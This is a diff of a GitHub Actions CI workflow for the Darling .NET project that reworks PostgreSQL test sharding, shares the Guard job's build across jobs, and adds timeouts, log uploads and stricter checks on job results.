+          # errored, skipped or not run. ReleaseStatementGateWorkflowTests binds the name to the test with nameof.
+          dotnet run --project Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-build -- -method "*StatementCensus_PendingEntries_BlockARelease*" 2>&1 | Tee-Object -FilePath statement-gate.log
+          if ($LASTEXITCODE -ne 0) { throw "The statement filter release gate failed (exit $LASTEXITCODE)." }
+          if (-not (Select-String -Path statement-gate.log -Pattern 'Total: 1, Errors: 0, Failed: 0, Skipped: 0, Not Run: 0' -SimpleMatch -Quiet)) {
+            throw "The statement filter release gate did not run exactly one passing test; the summary above is not 'Total: 1, Errors: 0, Failed: 0, Skipped: 0, Not Run: 0'."
+          }
 
       - name: Get version
         if: steps.fastpath.outputs.engaged != 'true'
@@ -816,6 +1470,13 @@ jobs:
   # the one live-SQL-Server E2E stays skipped (DARLING_TEST_SQL unset — no SQL Server on the runner).
   darling-pg:
     name: Darling PG tests
+    # Fail fast (#5459): on a pull request the shards start only after the Guard tests job succeeded; every
+    # other event runs them whatever the guards said. `!cancelled()` is what lets a job whose `needs` includes
+    # a failed one decide for itself, and the result job below turns the skip into the failure it should be.
+    # test-map-select (#5459) is a need so the selection exists before the shard starts; it never blocks the shard
+    # (`!cancelled()`): a selection that did not arrive means the shard runs every class.
+    needs: [gate, guard-tests, test-map-select]
+    if: ${{ !cancelled() && needs.gate.outputs.run == 'true' && (needs.guard-tests.result == 'success' || github.event_name != 'pull_request') }}
     runs-on: windows-latest
     # Max observed on a warm cache is ~3m40s; a cold pg-runtime cache adds a ~340MB fetch.
     # 30 minutes is 3x headroom over the cold path — past that, something is hung (pg_ctl -w
@@ -824,12 +1485,25 @@ jobs:
     # has NO timeout: on release it waits on SignPath's manual approval gate, which can
     # legitimately take hours.
     timeout-minutes: 30
-    # THREE shards cut by CLASS-NAME HASH (#3890), the machinery #3887 proved on the Lite suite.
-    # Measured on this job's own step timings: ~190s fixed (of which Build Darling.Tests is 132s)
-    # plus 266s of tests, so only the 266s shards and the fixed floor decides where the returns
-    # stop - 2 shards land ~5m23s, 3 ~4m39s, 4 ~4m17s. Three is the stop: it puts this job under
-    # the build job's 6m16s, which is what actually bounds the PR wall, and a fourth Windows runner
-    # from the shared pool buys twenty seconds of a number nothing reads.
+    # SIX shards cut by CLASS-NAME HASH (#3890 made it three, #5433 six), the machinery #3887 proved on
+    # the Lite suite. #3890 measured ~190s fixed plus 266s of tests; the suite has since grown to
+    # about 2,060 classes and 27,000 tests, and the three shards of eight merge-train and dev runs on
+    # 2026-10-06 took 13 to 21 minutes each. Per shard that was ~5m fixed (checkout and .NET setup ~1m,
+    # restore ~15s, Build Darling.Tests 2m20s to 3m30s, the PostgreSQL clusters ~30s) plus 10 to 17
+    # minutes in the one step that runs the tests (two runner invocations, because the class list is
+    # chunked under the command-line cap), ~39 minutes of tests in all. The cut was
+    # also uneven: shard 1 ran 14 to 17 minutes of tests every time against 10 to 13 for shards 0
+    # and 2, with about the same number of tests (time per test 0.10s against 0.065s), so a few slow
+    # classes decide a shard. A hash cut ignores that, and no per-class times are recorded for this
+    # job, so the model is the spread of the three observed shards (a relative standard deviation of
+    # ~9% of a shard's tests, which grows with the square root of N-1 for the same slow classes) and the
+    # expected longest shard of N: 3 shards ~19.5m (observed 19 to 21), 4 ~16m, 5 ~14m, 6 ~13m,
+    # 8 ~11m, 10 ~10m. Six is the stop: the longest shard drops under the build job (13 to 14 min) and
+    # the slowest Lite shard (15 to 16 min), which is what bounds the run, and 8 would buy about two
+    # more minutes of a number those two jobs already hide, for two more runners that each pay the ~5
+    # minutes of fixed cost. Check the first merge trains: if the longest shard is over ~14 minutes,
+    # the cut is unlucky and eight is the next step. The cut divides by the matrix size
+    # (strategy.job-total), so changing the shard list below cannot leave a class in no shard.
     #
     # The prebuilt-ladder image this was filed alongside is dead on measurement: the migration
     # ladder replays in ~1s (timed by running one live class twice against one store) and the whole
@@ -837,7 +1511,7 @@ jobs:
     strategy:
       fail-fast: false
       matrix:
-        shard: [0, 1, 2]
+        shard: [0, 1, 2, 3, 4, 5]
     permissions:
       contents: read
 
@@ -913,12 +1587,72 @@ jobs:
             echo "Changed files, none of them in the gate: ${ALL_FILES:-[]}"
           fi
 
+      # Shared build (#5459 change 2): this run's Guard job already built this test project in Release and uploaded
+      # it before running its tests (see the header on that job). Fetch it instead of restoring and building again.
+      # continue-on-error: no artifact (a release, a docs-only change, a Guard build that failed) is the normal
+      # fallback, not a failure, and the check below turns it into a notice and the old restore and build.
+      - name: Fetch the Guard job's build of the test project
+        id: guard-build
+        if: steps.filter.outputs.darling == 'true' && needs.guard-tests.outputs.darling_build_artifact != ''
+        continue-on-error: true
+        uses: actions/download-artifact@v6
+        with:
+          name: ${{ needs.guard-tests.outputs.darling_build_artifact }}
+          path: .
+
+      # #5459 live selection: this run's test map selection, from the test-map-select job (pull requests only). Same
+      # run, never another run's artifact. Every way it can be missing (not a pull request, the job failed or was skipped, no artifact, a
+      # failed download) leaves TEST_MAP_SELECTION empty in the test step below, and an empty one means every class runs.
+      - name: Download the test map selection
+        id: map-selection
+        if: github.event_name == 'pull_request' && needs.test-map-select.result == 'success'
+        continue-on-error: true
+        uses: actions/download-artifact@v6
+        with:
+          name: test-map-selection
+          path: test-map-selection
+
+      # A fetched build that is not for THIS workspace and commit is an error, never a quiet fallback: the tests
+      # find the repo root through [CallerFilePath], so a binary built in another path would read another tree.
+      - name: Check the fetched build is for this workspace and commit
+        id: guard-build-check
+        if: steps.filter.outputs.darling == 'true'
+        shell: pwsh
+        env:
+          FETCH_OUTCOME: ${{ steps.guard-build.outcome }}
+          THIS_WORKSPACE: ${{ github.workspace }}
+          THIS_SHA: ${{ github.sha }}
+          REQUIRED_FILES: Darling/Darling.Tests/bin/Release/net10.0-windows/Darling.Tests.dll;Darling/Darling.Tests/obj/project.assets.json
+        run: |
+          $ErrorActionPreference = 'Stop'
+          if ($env:FETCH_OUTCOME -ne 'success') {
+            Write-Host "::notice title=Building the test project here::No Guard job build was fetched for this run (fetch outcome '$env:FETCH_OUTCOME'; skipped means the Guard job published none), so this job restores and builds for itself and runs every class, Stage=Guard included."
+            'used=false' | Out-File -FilePath $env:GITHUB_OUTPUT -Append -Encoding utf8
+            exit 0
+          }
+          $origin = @{}
+          if (Test-Path guard-build-origin.txt) {
+            foreach ($line in Get-Content guard-build-origin.txt) { if ($line -match '^(\w+)=(.*)$') { $origin[$Matches[1]] = $Matches[2] } }
+          }
+          if ($origin['workspace'] -ne $env:THIS_WORKSPACE -or $origin['sha'] -ne $env:THIS_SHA) {
+            Write-Host "::error title=Guard build is for another workspace or commit::The fetched build says workspace '$($origin['workspace'])' at '$($origin['sha'])'; this job is at '$env:THIS_WORKSPACE' at '$env:THIS_SHA'."
+            exit 1
+          }
+          foreach ($file in ($env:REQUIRED_FILES -split ';')) {
+            if (-not (Test-Path $file)) {
+              Write-Host "::error title=Guard build is incomplete::The fetched build has no $file."
+              exit 1
+            }
+          }
+          Write-Host "::notice title=Using the Guard job's build::The test project was built by the Guard job of this run at the same workspace and commit, so this job skips its restore and build and leaves out the Stage=Guard classes that job ran."
+          'used=true' | Out-File -FilePath $env:GITHUB_OUTPUT -Append -Encoding utf8
+
       - name: Setup .NET 10.0
         if: steps.filter.outputs.darling == 'true'
         uses: actions/setup-dotnet@v6
         with:
           global-json-file: global.json
-          cache: true
+          cache: ${{ steps.guard-build-check.outputs.used != 'true' }}
           cache-dependency-path: '**/packages.lock.json'
 
       # Same cache key the release job and nightly.yml use (the fetch script's own content hash), so
@@ -969,11 +1703,11 @@ jobs:
         run: ./Darling/tools/new-upgraded-store-fixture.ps1 -SkipNew
 
       - name: Restore Darling.Tests
-        if: steps.filter.outputs.darling == 'true'
+        if: steps.filter.outputs.darling == 'true' && steps.guard-build-check.outputs.used != 'true'
         run: dotnet restore Darling/Darling.Tests/Darling.Tests.csproj --locked-mode
 
       - name: Build Darling.Tests
-        if: steps.filter.outputs.darling == 'true'
+        if: steps.filter.outputs.darling == 'true' && steps.guard-build-check.outputs.used != 'true'
         run: dotnet build Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-restore
 
       # Throwaway cluster from the bundled runtime. initdb TRUST auth is acceptable ONLY here: an
@@ -1015,6 +1749,9 @@ jobs:
           Add-Content -Path "$dataDir\postgresql.conf" -Value "listen_addresses = '127.0.0.1'"
           Add-Content -Path "$dataDir\postgresql.conf" -Value "timescaledb.max_background_workers = 74"
           Add-Content -Path "$dataDir\postgresql.conf" -Value "max_worker_processes = 85"
+          # #5549: the session id (%c) on every line. A PID alone cannot say whether two lines came from one
+          # session (a pooled connection reused by the next test) or from two (Windows reuses a PID quickly).
+          Add-Content -Path "$dataDir\postgresql.conf" -Value "log_line_prefix = '%m [%p] %c '"
           & "$bin\pg_ctl.exe" -D $dataDir -l $logFile -w start
           if ($LASTEXITCODE -ne 0) { if (Test-Path $logFile) { Get-Content $logFile -Tail 50 }; throw "pg_ctl start failed ($LASTEXITCODE)" }
           & "$bin\createdb.exe" -h 127.0.0.1 -p 5541 -U darling darling
@@ -1176,8 +1913,17 @@ jobs:
       # _CSVLOG_SIBLING at the 5544 stderr+csvlog cluster, and DARLING_TEST_PG_LOG_TARGET/
       # _UTC_LOG_TARGET at the 5545 cluster (the two self-hosted log end-to-end tests). DARLING_TEST_PG
       # (5541) stays the store for the classes that read one target's log while writing to a separate store.
+      # #5587: run 37824250187 attempt 1 (shard 3) hit the JOB's 30-minute timeout inside this step. GitHub then
+      # cancelled the job and left every later step (the stop, both uploads) pending, kept no log for the job, and the
+      # per-test timing was never written (the runner writes it when a chunk ends). Shards 0 to 5 normally take 6 to
+      # 11 minutes in this step. A STEP-level timeout ends only this step: the step fails, the job goes on, and the
+      # `always()` steps below run, so the PostgreSQL log and the runner output are uploaded. It sits well under the
+      # job's 30 minutes (about 2 minutes of setup before it, a few after it); it is not a speed limit for the tests.
+      # `-longRunning 300` makes the runner print a test that has run for 5 minutes while the step is still alive, so a
+      # hang names its test (the slowest normal Darling test is 120 s, in the upgrade classes).
       - name: Run Darling PG tests
         if: steps.filter.outputs.darling == 'true'
+        timeout-minutes: 22
         shell: pwsh
         env:
           DARLING_TEST_PG: "Host=127.0.0.1;Port=5541;Username=darling;Database=darling"
@@ -1204,27 +1950,41 @@ jobs:
           DARLING_TEST_PG_LOGROTATE: "Host=127.0.0.1;Port=5546;Username=darling;Database=darling"
           DARLING_TEST_PG_LOGROTATE_CSV: "Host=127.0.0.1;Port=5547;Username=darling;Database=darling"
           DARLING_TEST_PG_LOGROTATE_JSON: "Host=127.0.0.1;Port=5548;Username=darling;Database=darling"
+          # 'true' only when this shard used the Guard job's build of this run, which proves that job ran the Stage=Guard classes.
+          GUARD_BUILD_USED: ${{ steps.guard-build-check.outputs.used }}
+          # #5459 live selection: empty unless this pull request run downloaded a selection (see the step above).
+          TEST_MAP_SELECTION: ${{ steps.map-selection.outcome == 'success' && format('{0}\test-map-selection\selection.json', github.workspace) || '' }}
+          # #5459 change 5: the slow-skip lookup below reads the pull request's file list through the API.
+          GH_TOKEN: ${{ github.token }}
+          SLOW_EVENT: ${{ github.event_name }}
+          SLOW_PR: ${{ github.event.pull_request.number }}
+          SLOW_REPO: ${{ github.repository }}
+          # #5459: a pull request into main runs everything, Cost=Slow classes too (ci-select.py narrows).
+          SLOW_BASE_REF: ${{ github.base_ref }}
+        # #5616: the cut, the test map selection (#5459, else the Cost=Slow skip), the chunking and the per-chunk runs live in .github/scripts/run-darling-pg-shard.ps1,
+        # the ONE copy that nightly.yml's darling-pg job calls too.
         run: |
-          $ErrorActionPreference = 'Stop'
-          $lines = @(dotnet run --project Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-build -- -list classes/json)
-          if ($LASTEXITCODE -ne 0) { throw "class listing failed with exit code $LASTEXITCODE" }
-          # Only the runner's one-line JSON array is parsed: the dotnet CLI can print its own notice on stdout,
-          # and a line starting "W" after the array failed a shard's ConvertFrom-Json on 2026-09-23.
-          $json = @($lines | Where-Object { $_ -match '^\s*\[' })
-          if ($json.Count -ne 1) { throw "expected one JSON array line from the class listing, got $($json.Count): $($lines -join ' | ')" }
-          $classes = @($json[0] | ConvertFrom-Json)
-          if ($classes.Count -eq 0) { throw 'the class listing returned no classes - the shard would silently run nothing' }
-
-          $sha = [System.Security.Cryptography.SHA256]::Create()
-          $mine = @($classes | Where-Object {
-              ($sha.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($_))[0] % 3) -eq ${{ matrix.shard }}
-          })
-          Write-Host "shard ${{ matrix.shard }}: $($mine.Count) of $($classes.Count) classes"
-          if ($mine.Count -eq 0) { throw "shard ${{ matrix.shard }} selected zero of $($classes.Count) classes - refusing to run, because a runner with no -class arguments runs the whole suite" }
-
-          $shardArgs = foreach ($class in $mine) { '-class'; $class }
-          dotnet run --project Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-build -- @shardArgs -trx TestResults/darling-pr-${{ matrix.shard }}.trx
-          exit $LASTEXITCODE
+          ./.github/scripts/run-darling-pg-shard.ps1 -Shard ${{ matrix.shard }} -ShardCount ${{ strategy.job-total }} -EventName $env:SLOW_EVENT -GuardBuildUsed $env:GUARD_BUILD_USED -ResultPrefix darling-pr -RunAttempt ${{ github.run_attempt }} -SelectionFile $env:TEST_MAP_SELECTION
+
+      # PR #5480: a TimescaleDB job worker died with 0xC0000005 in two CI runs and both runs read "success",
+      # because the postmaster restarts and the tests retry. The crash shows only in the PostgreSQL log, as
+      # "terminated by exception", so this step turns it into a warning on the run. It only warns: it never
+      # fails the job, and it runs when the tests failed too.
+      - name: Warn if a PostgreSQL worker crashed
+        if: always() && steps.filter.outputs.darling == 'true'
+        shell: pwsh
+        run: |
+          $log = "$env:RUNNER_TEMP\darling-pg.log"
+          if (Test-Path $log) {
+            $hits = @(Select-String -Path $log -Pattern 'terminated by exception' -SimpleMatch)
+            foreach ($hit in ($hits | Select-Object -First 5)) {
+              $line = $hit.Line
+              if ($line.Length -gt 300) { $line = $line.Substring(0, 300) }
+              Write-Host "::warning title=PostgreSQL worker terminated by exception (shard ${{ matrix.shard }})::$line"
+            }
+            if ($hits.Count -gt 0) { Write-Host "$($hits.Count) 'terminated by exception' line(s) in darling-pg.log" }
+          }
+          exit 0
 
       # #4160: stop all four clusters (the 5541 store plus the three 5542/5543/5544 log-format
       # clusters started above). Each stop is independent and best-effort: a cluster that never
@@ -1251,8 +2011,40 @@ jobs:
           }
           exit 0
 
+      # #5459 change 4: per-test durations of this shard, kept a week like the Lite shards' lite-tests-timing-N.
+      # Informational: a failed upload never turns the shard red.
+      - name: Upload Darling test timings
+        if: always() && steps.filter.outputs.darling == 'true'
+        continue-on-error: true
+        timeout-minutes: 5
+        uses: actions/upload-artifact@v6
+        with:
+          name: darling-tests-timing-${{ matrix.shard }}
+          path: TestResults/darling-timing-*.xml
+          retention-days: 7
+          # A re-run of this shard uploads the same name in a later attempt; without overwrite the upload fails and the
+          # attempt-1 report stays. With it the artifact is replaced whole, so a folder holds one attempt's files. The xml
+          # file names carry the attempt: the shadow check keeps, per artifact folder, the files of the highest attempt in
+          # it and counts lower ones as stale. A shard that passed in attempt 1 is not re-run by "Re-run failed jobs", so
+          # its folder keeps its -a1 files and they still count in attempt 2.
+          overwrite: true
+          if-no-files-found: ignore
+
+      # #5587: the runner output, kept when the shard fails, is cancelled or its test step times out. The job's own
+      # timeout leaves this step pending (see the note on the test step), which is why that step has a timeout of its own.
+      - name: Upload Darling runner output
+        if: always() && steps.filter.outputs.darling == 'true'
+        continue-on-error: true
+        timeout-minutes: 5
+        uses: actions/upload-artifact@v6
+        with:
+          name: darling-runner-log-${{ matrix.shard }}
+          path: TestResults/darling-runner-*.log
+          retention-days: 7
+          if-no-files-found: ignore
+
       - name: Upload PG log and test results on failure
-        if: failure() && steps.filter.outputs.darling == 'true'
+        if: (failure() || cancelled()) && steps.filter.outputs.darling == 'true'
         uses: actions/upload-artifact@v6
         with:
           # Per-shard: matrix legs sharing one artifact name collide and fail the upload.
@@ -1282,7 +2074,7 @@ jobs:
   # something other than success, and this fails loudly and says which.
   darling-pg-result:
     name: Darling PostgreSQL tests
-    needs: darling-pg
+    needs: [gate, guard-tests, darling-pg]
     if: ${{ !cancelled() }}
     runs-on: ubuntu-latest
     timeout-minutes: 5
@@ -1292,13 +2084,43 @@ jobs:
         shell: bash
         env:
           RESULT: ${{ needs.darling-pg.result }}
+          GUARD_RESULT: ${{ needs.guard-tests.result }}
+          GATE_RESULT: ${{ needs.gate.result }}
+          GATE_RUN: ${{ needs.gate.outputs.run }}
+          EVENT_NAME: ${{ github.event_name }}
         run: |
           set -euo pipefail
+          # A gate that did not succeed leaves every job it feeds skipped, which would read as green here.
+          if [ "${GATE_RESULT}" != "success" ]; then
+            echo "::error title=CI gate failed::needs.gate.result='${GATE_RESULT}' - the job that decides whether CI runs did not succeed, so nothing ran. Re-run the workflow."
+            exit 1
+          fi
+          # A declined run (draft or merge-train) leaves every job skipped, which would also read as green.
+          if [ "${EVENT_NAME}" = "pull_request" ] && [ "${GATE_RUN}" != "true" ]; then
+            echo "::error title=CI not run::This pull request's CI was skipped (draft or merge-train label). It can be merged only by an admin override after a merge train covered it."
+            exit 1
+          fi
+          # The Guard tests job runs first on a pull request (#5459). When it did not succeed the shards were
+          # skipped on purpose, and a skipped matrix reads as green, so this is where that becomes a failure. On
+          # a push, a merge-queue run or a release the shards ran whatever the guards said, but a guard that did
+          # not pass is still a failure. `skipped` is fine on a release only: the guard job does not run there.
+          if [ "${GUARD_RESULT}" != "success" ] && ! { [ "${EVENT_NAME}" = "release" ] && [ "${GUARD_RESULT}" = "skipped" ]; }; then
+            if [ "${EVENT_NAME}" = "pull_request" ]; then
+              echo "::error title=Guard tests failed::needs.guard-tests.result='${GUARD_RESULT}' - the Guard tests job did not succeed, so the shards did not run. Read that job's log for the failing class."
+            else
+              echo "::error title=Guard tests failed::needs.guard-tests.result='${GUARD_RESULT}' - the Guard tests job did not succeed. The shards ran anyway on this event; read that job's log for the failing class."
+            fi
+            exit 1
+          fi
           case "${RESULT}" in
             success)
               echo "::notice title=Darling PG shards green::Every shard succeeded, or the Darling gate skipped the suite on all of them." ;;
             skipped)
-              echo "::notice title=Darling PG shards skipped::The matrix job did not run at all." ;;
+              # Not a by-design skip any more (#5459). The matrix job is skipped on purpose in two cases only: the
+              # gate declined the run, and the guard job failed on a pull request. Both are errors above, so a
+              # skip that reaches this line is unplanned, and a skipped matrix must not read as a pass.
+              echo "::error title=Darling PG shards skipped::needs.darling-pg.result='skipped' although the gate ran this event and the guards passed, so no shard reported. The suite has NOT passed on this commit."
+              exit 1 ;;
             *)
               echo "::error title=Darling PG shards failed::needs.darling-pg.result='${RESULT}' - at least one shard failed or was cancelled. The suite has NOT passed on this commit; read the failing shard's log."
               exit 1 ;;
@@ -1322,6 +2144,9 @@ jobs:
   # (SignPath signs Windows PEs); the checksums file is the integrity story, same as the nightly.
   darling-linux:
     name: Darling Linux build
+    # Fail fast on a pull request (#5459), exactly as the Darling PG shards: see the comment on that job.
+    needs: [gate, guard-tests]
+    if: ${{ !cancelled() && needs.gate.outputs.run == 'true' && (needs.guard-tests.result == 'success' || github.event_name != 'pull_request') }}
     runs-on: ubuntu-latest
     timeout-minutes: 30
     permissions:
@@ -1401,6 +2226,22 @@ jobs:
         if: github.event_name != 'release' && steps.filter.outputs.darling == 'true'
         run: docker build -f Darling/Dockerfile -t performancemonitor-darling:pr .
 
+      # #5366: the test project runs on Windows, so the Unix file checks behind the password key (owner, link count, file
+      # identity) and the Linux crypto path run here instead, inside the image the service ships in. The hidden verb runs
+      # the real code in a fresh temporary directory and opens a committed, labelled test vector made on Windows. Any
+      # failure exits non-zero and fails the job. The vector is mounted read-only.
+      - name: Check the password key on Linux (self-check verb in the built image)
+        if: github.event_name != 'release' && steps.filter.outputs.darling == 'true'
+        shell: bash
+        run: |
+          set -euo pipefail
+          vector="${GITHUB_WORKSPACE}/Darling/Darling.Tests/Fixtures/PasswordSeal/linux-self-check-vector.json"
+          test -f "${vector}"
+          docker run --rm \
+            -v "${vector}:/vector/linux-self-check-vector.json:ro" \
+            performancemonitor-darling:pr \
+            --self-check-password-key /vector/linux-self-check-vector.json
+
       # ── Release-only publishing (mirrors nightly.yml's linux job, versioned instead of :nightly) ──
 
       - name: Get version
@@ -1498,11 +2339,15 @@ jobs:
   # No PostgreSQL here, deliberately. The whole-tree guards need none, and standing up a throwaway
   # TimescaleDB cluster would make a documentation change depend on the flakiest part of CI
   # (#1862's compression flake failed twice in two unrecognizably different ways). Runs on every
-  # non-cancelled event and always reports a result, so it can be a required check.
+  # non-cancelled event, with one exception (#5459): on a pull request whose Guard tests job did not
+  # succeed it skips, because `build` is already red there. So it is NOT a required check, and must not
+  # be made one without reading that skip, which GitHub counts as passing.
   darling-tree-guards:
     name: Darling whole-tree guards
-    needs: build
-    if: ${{ !cancelled() }}
+    # guard-tests too (#5459): when the Guard tests job failed on a pull request, `build` failed at once, and
+    # a Windows runner started here would only report "not decided". It skips with the shards instead.
+    needs: [gate, build, guard-tests]
+    if: ${{ !cancelled() && needs.gate.outputs.run == 'true' && (needs.guard-tests.result == 'success' || github.event_name != 'pull_request') }}
     runs-on: windows-latest
     # Measured on a warm NuGet cache: ~40s of .NET setup, ~10s restore, ~95s to build
     # Darling.Tests, ~35s for the suite. 20 minutes is ~6x that, past which something is hung and a
@@ -1525,6 +2370,14 @@ jobs:
           filters: |
             workflow:
               - '.github/workflows/build.yml'
+            # #5459 cut 3c: a change made ONLY of Lite files (lite_tree_count == all_count) needs just the Darling
+            # classes that read Lite, not the whole suite. Counts rather than booleans, as the build job's docs
+            # fast path does it: "every changed file is a Lite file" is a count comparison, never a path predicate.
+            lite_tree:
+              - 'Lite/**'
+              - 'Lite.Tests/**'
+            all:
+              - '**'
 
       # Names the arm that decided, out loud, either way. A job reporting success having quietly run
       # nothing is indistinguishable from one that ran everything, and that indistinguishability is
@@ -1569,20 +2422,89 @@ jobs:
             echo "::notice title=Whole-tree guards skipped::The build job's 'Run Darling tests' step reported '${DARLING_TESTS}', so the suite has already run on this commit."
           fi
 
+      # #5459 cut 3c: when the whole suite would run here for a change made only of Lite files, run the Guard stage and
+      # the classes tagged Reads=Lite instead (the rule is ci-select.py's tree_scope; the replay checks it). build.yml
+      # itself changing keeps the whole suite: that arm exists to exercise this job's own gate.
+      - name: Decide the whole-tree guards scope
+        id: scope
+        if: steps.gate.outputs.run == 'true'
+        shell: bash
+        env:
+          EVENT_NAME: ${{ github.event_name }}
+          WORKFLOW: ${{ steps.filter.outputs.workflow }}
+          ALL_COUNT: ${{ steps.filter.outputs.all_count }}
+          LITE_COUNT: ${{ steps.filter.outputs.lite_tree_count }}
+        run: |
+          set -euo pipefail
+          if [ "${WORKFLOW:-}" = "true" ]; then
+            echo "scope=full" >> "$GITHUB_OUTPUT"
+            echo "filter=" >> "$GITHUB_OUTPUT"
+          else
+            python .github/scripts/ci-select.py tree-scope --event "${EVENT_NAME}" --all-count "${ALL_COUNT:-0}" --lite-count "${LITE_COUNT:-0}" | tee -a "$GITHUB_OUTPUT"
+          fi
+
+      # Shared build (#5459 change 2): this run's Guard job already built this test project in Release and uploaded
+      # it before running its tests (see the header on that job). Fetch it instead of restoring and building again.
+      # continue-on-error: no artifact (a release, a docs-only change, a Guard build that failed) is the normal
+      # fallback, not a failure, and the check below turns it into a notice and the old restore and build.
+      - name: Fetch the Guard job's build of the test project
+        id: guard-build
+        if: steps.gate.outputs.run == 'true' && needs.guard-tests.outputs.darling_build_artifact != ''
+        continue-on-error: true
+        uses: actions/download-artifact@v6
+        with:
+          name: ${{ needs.guard-tests.outputs.darling_build_artifact }}
+          path: .
+
+      # A fetched build that is not for THIS workspace and commit is an error, never a quiet fallback: the tests
+      # find the repo root through [CallerFilePath], so a binary built in another path would read another tree.
+      - name: Check the fetched build is for this workspace and commit
+        id: guard-build-check
+        if: steps.gate.outputs.run == 'true'
+        shell: pwsh
+        env:
+          FETCH_OUTCOME: ${{ steps.guard-build.outcome }}
+          THIS_WORKSPACE: ${{ github.workspace }}
+          THIS_SHA: ${{ github.sha }}
+          REQUIRED_FILES: Darling/Darling.Tests/bin/Release/net10.0-windows/Darling.Tests.dll;Darling/Darling.Tests/obj/project.assets.json
+        run: |
+          $ErrorActionPreference = 'Stop'
+          if ($env:FETCH_OUTCOME -ne 'success') {
+            Write-Host "::notice title=Building the test project here::No Guard job build was fetched for this run (fetch outcome '$env:FETCH_OUTCOME'; skipped means the Guard job published none), so this job restores and builds for itself and runs every class, Stage=Guard included."
+            'used=false' | Out-File -FilePath $env:GITHUB_OUTPUT -Append -Encoding utf8
+            exit 0
+          }
+          $origin = @{}
+          if (Test-Path guard-build-origin.txt) {
+            foreach ($line in Get-Content guard-build-origin.txt) { if ($line -match '^(\w+)=(.*)$') { $origin[$Matches[1]] = $Matches[2] } }
+          }
+          if ($origin['workspace'] -ne $env:THIS_WORKSPACE -or $origin['sha'] -ne $env:THIS_SHA) {
+            Write-Host "::error title=Guard build is for another workspace or commit::The fetched build says workspace '$($origin['workspace'])' at '$($origin['sha'])'; this job is at '$env:THIS_WORKSPACE' at '$env:THIS_SHA'."
+            exit 1
+          }
+          foreach ($file in ($env:REQUIRED_FILES -split ';')) {
+            if (-not (Test-Path $file)) {
+              Write-Host "::error title=Guard build is incomplete::The fetched build has no $file."
+              exit 1
+            }
+          }
+          Write-Host "::notice title=Using the Guard job's build::The test project was built by the Guard job of this run at the same workspace and commit, so this job skips its restore and build and leaves out the Stage=Guard classes that job ran."
+          'used=true' | Out-File -FilePath $env:GITHUB_OUTPUT -Append -Encoding utf8
+
       - name: Setup .NET 10.0
         if: steps.gate.outputs.run == 'true'
         uses: actions/setup-dotnet@v6
         with:
           global-json-file: global.json
-          cache: true
+          cache: ${{ steps.guard-build-check.outputs.used != 'true' }}
           cache-dependency-path: '**/packages.lock.json'
 
       - name: Restore Darling.Tests
-        if: steps.gate.outputs.run == 'true'
+        if: steps.gate.outputs.run == 'true' && steps.guard-build-check.outputs.used != 'true'
         run: dotnet restore Darling/Darling.Tests/Darling.Tests.csproj --locked-mode
 
       - name: Build Darling.Tests
-        if: steps.gate.outputs.run == 'true'
+        if: steps.gate.outputs.run == 'true' && steps.guard-build-check.outputs.used != 'true'
         run: dotnet build Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-restore
 
       # The FULL suite, not a class filter naming the whole-tree guards. Such a filter would be one
@@ -1591,21 +2513,56 @@ jobs:
       # unset, so the gated-live classes skip here just as they do in the build job.
       - name: Run the whole-tree guards
         if: steps.gate.outputs.run == 'true'
-        run: dotnet run --project Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-build
-
-  # The Lite suite on pull requests and pushes: four shards cut by CLASS-NAME HASH (#3887). The
-  # build job's single "Run Lite tests" step had grown to ~9½ minutes of a ~15-minute job — 62% of
-  # the PR wall's critical path over the eight runs measured — and it is release-only there now.
+        env:
+          # 'true' only when this job used the Guard job's build of this run, which proves that job ran the Stage=Guard classes.
+          GUARD_BUILD_USED: ${{ steps.guard-build-check.outputs.used }}
+          # Empty for the whole suite; `-trait Stage=Guard -trait Reads=Lite` for a Lite-only change (cut 3c).
+          SCOPE_FILTER: ${{ steps.scope.outputs.filter }}
+        run: |
+          $scopeArgs = @($env:SCOPE_FILTER -split ' ' | Where-Object { $_ })
+          # The Guard job already ran the Guard classes when its build was used: leave them out, whatever else runs.
+          $guardFilter = @(if ($env:GUARD_BUILD_USED -eq 'true') { '-trait-'; 'Stage=Guard' })
+          # The whole suite, with no Cost=Slow skip (#5459 change 5 leaves this job alone): CrossAppGuardCiGateTests pins
+          # this invocation because the exemptions in DarlingTestsBackstopped rest on this job running every class.
+          # The reads-lite scope (#5505) only narrows it for a Lite-only change.
+          if ($scopeArgs.Count -gt 0 -and $env:GUARD_BUILD_USED -eq 'true') { $scopeArgs = @('-trait', 'Reads=Lite') }
+          $guardFilter = @($scopeArgs) + @($guardFilter)
+          dotnet run --project Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-build -- @guardFilter
+
+  # The Lite suite on pull requests and pushes: four shards cut over CLASS NAMES (#3887), balanced
+  # by recorded duration since #5208. The build job's single "Run Lite tests" step had grown to
+  # ~9½ minutes of a ~15-minute job — 62% of the PR wall's critical path over the eight runs
+  # measured — and it is release-only there now.
   #
-  # The cut is a SHA-256 over the class name, modulo four: arithmetic, not a list and not a
-  # semantic filter. This job's own history is the argument (see the retired lite_analysis split
-  # this file documents above the release-only step): any filter somebody has to MAINTAIN drifts,
-  # and a class added tomorrow is exactly the class such a filter misses. A hash cannot drift —
-  # every class lands in exactly one shard, additions included, and the partition is total by
-  # construction. SHA-256 rather than string.GetHashCode() because the latter is randomized per
-  # process ON PURPOSE and would send the same class to a different shard on every run.
+  # Two cuts, both over the class NAME: never a list somebody maintains, never a semantic filter.
+  # This job's own history is the argument (see the retired lite_analysis split this file
+  # documents above the release-only step): any filter somebody has to MAINTAIN drifts, and a
+  # class added tomorrow is exactly the class such a filter misses.
+  #   - The DURATION cut (#5208). The hash balances class COUNT, not time: on one measured run the
+  #     four shards held 12.8, 48.1, 36.6 and 25.3 minutes of test time, and the slowest decides the
+  #     PR wall (at the 30-minute cap below it turns the run red without naming a failing test).
+  #     .github/scripts/lite-shard-pack.py packs classes longest-first into the least-loaded shard,
+  #     weighing each class by the per-test timings the shards already upload (lite-tests-timing-N)
+  #     from the run the gate pinned (its timing-source step). A class with no timing history gets
+  #     the mean weight, so it is placed, never dropped. A class in a DisableParallelization collection
+  #     (run one at a time) weighs its seconds in full, any other class a third of that (about 3.4
+  #     classes overlap), so the serial classes spread across the shards instead of piling on one.
